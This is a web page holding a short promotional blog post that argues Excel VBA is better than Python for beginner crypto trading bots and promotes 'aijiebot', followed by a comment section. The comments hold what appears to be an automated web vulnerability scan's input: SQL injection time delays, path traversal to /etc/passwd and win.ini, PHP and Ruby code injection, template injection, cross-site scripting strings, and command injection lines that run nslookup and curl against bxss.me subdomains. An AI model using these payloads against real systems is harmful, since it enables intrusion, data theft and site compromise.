Why is Excel better than Python for quantitative trading?


For beginners, choosing a suitable tool for quantitative trading is crucial. While programming languages such as Python have widespread applications in quantitative trading, Excel VBA, with its numerous advantages, can be a prime choice for newcomers. For instance, aijiebot is a digital currency quantitative trading bot developed using Excel VBA, creating bot grid trading strategies and Martin trading strategies through OKX and Binance API.

Firstly, Excel does not require installing additional programs and can run in common office environments. Even the lightweight version of Office occupies only tens of megabytes, compared to hundreds of megabytes or more for other professional quantitative software or programming environments. This convenience makes Excel an ideal tool for beginners in quantitative trading.

Secondly, Excel's syntax is relatively simple and similar to VB (Visual Basic). This similarity allows users with programming experience to quickly grasp Excel's usage techniques. The lightweight VB compiler, which only takes up 6 megabytes, further reduces the learning and usage threshold. For beginners, this means they can focus more on learning quantitative trading strategies rather than being distracted by complex programming syntax.

Moreover, Excel boasts powerful data statistics capabilities. Whether it's simple data analysis or complex statistical models, Excel can provide effective solutions. This enables beginners to utilize Excel to quickly process and analyze vast amounts of trading data, providing strong support for establishing quantitative trading strategies.

Additionally, Excel can be used to create the simplest AI trading strategies. By combining VBA (Visual Basic for Applications) programming, users can automate trading processes and make rule-based trading decisions. Many people are using VBA for quantitative trading in digital currencies, cryptocurrencies, US stocks, and other assets, further demonstrating Excel's practicality in quantitative trading.

Notably, some Excel-related quantitative trading bots can be found on code hosting platforms like gitHub trading . Those tutorials provide learning resources for beginners and offer a platform for communication and sharing. Simultaneously, Excel can be integrated with charting tools like TradingView bot, providing more intuitive and convenient analysis methods for quantitative trading.

In conclusion, Excel, with its advantages such as no need for additional installations, simple syntax, powerful data statistics, and compatibility with other tools, is the preferred tool for quantitative trading beginners. Mastering Excel's basic operations and application skills will lay a solid foundation for beginners in their learning and exploration in the field of quantitative trading.



  admin   2024-5-1

nqhXncMU2024-7-3 2:48:01
'.gethostbyname(lc('hitht'.'eyeqhnpfc83f7.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(110).chr(68).chr(119).chr(89).'
nqhXncMU2024-7-3 2:48:03
".gethostbyname(lc("hitvu"."iafdawtx3498a.bxss.me."))."A".chr(67).chr(hex("58")).chr(114).chr(74).chr(110).chr(72)."
nqhXncMU2024-7-3 2:48:03
&n913873=v942555
nqhXncMU2024-7-3 2:48:03
1B0Ystym5iO
nqhXncMU2024-7-3 2:48:03
!(()&&!|*|*|
nqhXncMU2024-7-3 2:48:04
'"()
nqhXncMU2024-7-3 2:48:04
;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));
nqhXncMU2024-7-3 2:48:06
^(#$!@#$)(()))******
nqhXncMU2024-7-3 2:48:06
/../../../../../../../../../../windows/system32/BITSADMIN.exe
nqhXncMU2024-7-3 2:48:06
';print(md5(31337));$a='
nqhXncMU2024-7-3 2:48:06
Fv9ZibzB
nqhXncMU2024-7-3 2:48:07
'&&sleep(27*1000)*unvjsy&&'
nqhXncMU2024-7-3 2:48:08
";print(md5(31337));$a="
nqhXncMU2024-7-3 2:48:09
${@print(md5(31337))}
nqhXncMU2024-7-3 2:48:09
"&&sleep(27*1000)*hzsqtk&&"
nqhXncMU2024-7-3 2:48:11
'||sleep(27*1000)*yrkjqk||'
nqhXncMU2024-7-3 2:48:11
../../../../../../../../../../../../../../etc/passwd
nqhXncMU2024-7-3 2:48:12
12345'"\'\");|]*{ <>�''
nqhXncMU2024-7-3 2:48:12
${@print(md5(31337))}\
nqhXncMU2024-7-3 2:48:13
"||sleep(27*1000)*nalyte||"
nqhXncMU2024-7-3 2:48:13
../../../../../../../../../../../../../../windows/win.ini
nqhXncMU2024-7-3 2:48:14
${9999523+10000015}
nqhXncMU2024-7-3 2:48:14
'.print(md5(31337)).'
nqhXncMU2024-7-3 2:48:15
file:///etc/passwd
nqhXncMU2024-7-3 2:48:16
response.write(9370258*9759394)
nqhXncMU2024-7-3 2:48:17
ctime sleep p0 (I30 tp1 Rp2 .
nqhXncMU2024-7-3 2:48:17
../
nqhXncMU2024-7-3 2:48:18
'+response.write(9370258*9759394)+'
nqhXncMU2024-7-3 2:48:20
"+response.write(9370258*9759394)+"
nqhXncMU2024-7-3 2:48:21
http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg
nqhXncMU2024-7-3 2:48:21
echo wijizg$()\ tmoizb\nz^xyu||a #' &echo wijizg$()\ tmoizb\nz^xyu||a #|" &echo wijizg$()\ tmoizb\nz^xyu||a #
nqhXncMU2024-7-3 2:48:21
"+"A".concat(70-3).concat(22*4).concat(114).concat(87).concat(111).concat(85)+(require"socket" Socket.gethostbyname("hityw"+"toeqdjgraae89.bxss.me.")[3].to_s)+"
nqhXncMU2024-7-3 2:48:21
340
nqhXncMU2024-7-3 2:48:23
&echo hlbbze$()\ dsxbff\nz^xyu||a #' &echo hlbbze$()\ dsxbff\nz^xyu||a #|" &echo hlbbze$()\ dsxbff\nz^xyu||a #
nqhXncMU2024-7-3 2:48:23
HttP://bxss.me/t/xss.html?%00
nqhXncMU2024-7-3 2:48:23
1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg
nqhXncMU2024-7-3 2:48:24
'+'A'.concat(70-3).concat(22*4).concat(116).concat(69).concat(117).concat(79)+(require'socket' Socket.gethostbyname('hitww'+'ikibrtmk6876a.bxss.me.')[3].to_s)+'
nqhXncMU2024-7-3 2:48:24
340
nqhXncMU2024-7-3 2:48:26
Http://bxss.me/t/fit.txt
nqhXncMU2024-7-3 2:48:26
xfs.bxss.me
nqhXncMU2024-7-3 2:48:26
)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
nqhXncMU2024-7-3 2:48:27
|echo ejxjaq$()\ nxtkpg\nz^xyu||a #' |echo ejxjaq$()\ nxtkpg\nz^xyu||a #|" |echo ejxjaq$()\ nxtkpg\nz^xyu||a #
nqhXncMU2024-7-3 2:48:27
bxss.me/t/xss.html?%00
nqhXncMU2024-7-3 2:48:28
340/.
nqhXncMU2024-7-3 2:48:28
9787686
nqhXncMU2024-7-3 2:48:29
930552
nqhXncMU2024-7-3 2:48:30
http://bxss.me/t/fit.txt?.jpg
nqhXncMU2024-7-3 2:48:30
(nslookup -q=cname hitarmwrjwwotc7ecf.bxss.me||curl hitarmwrjwwotc7ecf.bxss.me))
nqhXncMU2024-7-3 2:48:31
bfg7478<s1﹥s2ʺs3ʹhjl7478
nqhXncMU2024-7-3 2:48:32
/etc/shells
nqhXncMU2024-7-3 2:48:33
bfgx3143��z1��z2a�bcxhjl3143
nqhXncMU2024-7-3 2:48:35
c:/windows/win.ini
nqhXncMU2024-7-3 2:48:36
http://xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:48:36
bxss.me
nqhXncMU2024-7-3 2:48:37
$(nslookup -q=cname hitiaiiknxzoj317f0.bxss.me||curl hitiaiiknxzoj317f0.bxss.me)
nqhXncMU2024-7-3 2:48:38
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 2:48:39
xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:48:40
//xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:48:41
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:48:41
&nslookup -q=cname hitgtkaaifemt2c22b.bxss.me&'\"`0&nslookup -q=cname hitgtkaaifemt2c22b.bxss.me&`'
nqhXncMU2024-7-3 2:48:41
/\xfs.bxss.me?aijiebot.com
nqhXncMU2024-7-3 2:48:43
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:48:44
&(nslookup -q=cname hitrcutemekfd28101.bxss.me||curl hitrcutemekfd28101.bxss.me)&'\"`0&(nslookup -q=cname hitrcutemekfd28101.bxss.me||curl hitrcutemekfd28101.bxss.me)&`'
nqhXncMU2024-7-3 2:48:48
dfb{98991*97996}xca
nqhXncMU2024-7-3 2:48:49
|(nslookup -q=cname hitclloaubkure8b58.bxss.me||curl hitclloaubkure8b58.bxss.me)
nqhXncMU2024-7-3 2:48:53
dfb${98991*97996}xca
nqhXncMU2024-7-3 2:48:53
`(nslookup -q=cname hitirzrqqkuavc51da.bxss.me||curl hitirzrqqkuavc51da.bxss.me)`
nqhXncMU2024-7-3 2:48:56
dfb#{98991*97996}xca
nqhXncMU2024-7-3 2:49:00
dfb{#98991*97996}xca
nqhXncMU2024-7-3 2:49:04
dfb{@98991*97996}xca
nqhXncMU2024-7-3 2:49:07
dfb{{=98991*97996}}xca
nqhXncMU2024-7-3 2:49:11
dfb@(98991*97996)xca
nqhXncMU2024-7-3 2:49:15
dfb<%=98991*97996%>xca
nqhXncMU2024-7-3 2:49:17
dfb#set($x=98991*97996)${x}xca
nqhXncMU2024-7-3 2:49:21
dfb{{"abc"|title}}xca
nqhXncMU2024-7-3 2:49:26
print("dfb" . 98991*97996 . "xca");
nqhXncMU2024-7-3 2:49:31
98991*97996*98991*97996
nqhXncMU2024-7-3 2:49:33
dfb{@math key=98991 method="multiply" operand=97996/}xca
nqhXncMU2024-7-3 2:49:38
dfb{{{this}}}xca
nqhXncMU2024-7-3 2:49:42
#{98991*97996*98991*97996}
nqhXncMU2024-7-3 2:49:45
dfb#{xca}=123
nqhXncMU2024-7-3 2:49:48
dfb{{'abcd'.toUpperCase()}}xca
nqhXncMU2024-7-3 2:49:57
AAABBBCCC{{define "bla"}}bla{{end}}{{define "dfb"}}xyz{{end}}{{template "dfb"}}CCCBBBAAA
nqhXncMU2024-7-3 2:49:59
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 2:50:02
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 2:50:05
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 2:50:10
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 2:50:20
%0D%0A%3C%53%63%52%69%50%74%20%3E%79%39%76%6F%289431%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 2:50:26
\u003CScRiPt\y9vo(9154)\u003C/sCripT\u003E
nqhXncMU2024-7-3 2:50:31
&lt;ScRiPt&gt;y9vo(9810)&lt;/sCripT&gt;
nqhXncMU2024-7-3 2:50:34
}body{zzz:Expre/**/SSion(y9vo(9730))}
nqhXncMU2024-7-3 2:52:33
8YOUtGmW
nqhXncMU2024-7-3 2:52:55
*966*961*0
nqhXncMU2024-7-3 2:53:00
NaN+971-966-5
nqhXncMU2024-7-3 2:53:07
*544*539*0
nqhXncMU2024-7-3 2:53:14
NaN+549-544-5
nqhXncMU2024-7-3 2:53:18
*635*630*0
nqhXncMU2024-7-3 2:53:23
NaN+640-635-5
nqhXncMU2024-7-3 2:53:25
*760*755*0
nqhXncMU2024-7-3 2:53:34
NaN+765-760-5
nqhXncMU2024-7-3 2:53:40
-1 OR 2+884-884-1=0+0+0+1
nqhXncMU2024-7-3 2:53:45
-1 OR 3+884-884-1=0+0+0+1
nqhXncMU2024-7-3 2:53:50
-1 OR 3*2<(0+5+884-884)
nqhXncMU2024-7-3 2:53:59
-1 OR 3*2>(0+5+884-884)
nqhXncMU2024-7-3 2:54:22
*if(now()=sysdate(),sleep(15),0)
nqhXncMU2024-7-3 2:54:43
0'XOR( *if(now()=sysdate(),sleep(15),0))XOR'Z
nqhXncMU2024-7-3 2:55:05
0"XOR( *if(now()=sysdate(),sleep(15),0))XOR"Z
nqhXncMU2024-7-3 2:55:27
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
nqhXncMU2024-7-3 2:55:52
-1; waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:56:07
-1); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:56:23
-1)); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:56:54
-1 waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:57:16
ElG9DCyY'; waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:57:41
4xUFlPro'); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:57:54
seXcdS1h')); waitfor delay '0:0:15' --
nqhXncMU2024-7-3 2:58:08
-1 OR 882=(SELECT 882 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:58:15
-1) OR 94=(SELECT 94 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:58:21
-1)) OR 494=(SELECT 494 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:58:31
0UBFXSHZ' OR 118=(SELECT 118 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:58:40
bgZymtKd') OR 573=(SELECT 573 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:59:03
lfgjvpsD')) OR 777=(SELECT 777 FROM PG_SLEEP(15))--
nqhXncMU2024-7-3 2:59:26
*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
nqhXncMU2024-7-3 2:59:41
'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
nqhXncMU2024-7-3 2:59:45
����%2527%2522\'\"
nqhXncMU2024-7-3 2:59:47
@@datnk
nqhXncMU2024-7-3 3:12:46
9113074
nqhXncMU2024-7-3 3:13:04
bfg3140<s1﹥s2ʺs3ʹhjl3140
nqhXncMU2024-7-3 3:13:18
bfgx8524��z1��z2a�bcxhjl8524
nqhXncMU2024-7-3 3:13:30
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 3:13:52
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 3:14:03
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 3:14:13
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 3:14:26
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 3:14:37
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 3:16:29
%0D%0A%3C%53%63%52%69%50%74%20%3E%49%68%74%73%289826%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 3:16:58
\u003CScRiPt\Ihts(9881)\u003C/sCripT\u003E
nqhXncMU2024-7-3 3:17:10
&lt;ScRiPt&gt;Ihts(9973)&lt;/sCripT&gt;
nqhXncMU2024-7-3 3:18:26
}body{zzz:Expre/**/SSion(Ihts(9981))}
nqhXncMU2024-7-3 6:32:54
9285548
nqhXncMU2024-7-3 6:33:00
bfg1338<s1﹥s2ʺs3ʹhjl1338
nqhXncMU2024-7-3 6:33:06
bfgx2041��z1��z2a�bcxhjl2041
nqhXncMU2024-7-3 6:33:12
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 6:33:20
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 6:33:27
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 6:33:32
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 6:33:39
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 6:33:47
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 6:34:31
%0D%0A%3C%53%63%52%69%50%74%20%3E%6C%61%57%33%289658%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 6:34:34
\u003CScRiPt\laW3(9433)\u003C/sCripT\u003E
nqhXncMU2024-7-3 6:34:39
&lt;ScRiPt&gt;laW3(9090)&lt;/sCripT&gt;
nqhXncMU2024-7-3 6:34:51
}body{zzz:Expre/**/SSion(laW3(9096))}
nqhXncMU2024-7-3 12:23:17
9418978
nqhXncMU2024-7-3 12:23:23
bfg9839<s1﹥s2ʺs3ʹhjl9839
nqhXncMU2024-7-3 12:23:27
bfgx6738��z1��z2a�bcxhjl6738
nqhXncMU2024-7-3 12:23:30
<%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 12:23:37
1}}"}}'}}1%>"%>'%><%={{={@{#{${dfb}}%>
nqhXncMU2024-7-3 12:23:44
dfb{{98991*97996}}xca
nqhXncMU2024-7-3 12:23:49
dfb[[${98991*97996}]]xca
nqhXncMU2024-7-3 12:23:54
dfb__${98991*97996}__::.x
nqhXncMU2024-7-3 12:24:03
"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")
nqhXncMU2024-7-3 12:24:59
%0D%0A%3C%53%63%52%69%50%74%20%3E%79%75%45%46%289960%29%3C%2F%73%43%72%69%70%54%3E
nqhXncMU2024-7-3 12:25:09
\u003CScRiPt\yuEF(9922)\u003C/sCripT\u003E
nqhXncMU2024-7-3 12:25:14
&lt;ScRiPt&gt;yuEF(9361)&lt;/sCripT&gt;
nqhXncMU2024-7-3 12:25:28
}body{zzz:Expre/**/SSion(yuEF(9769))}
评论: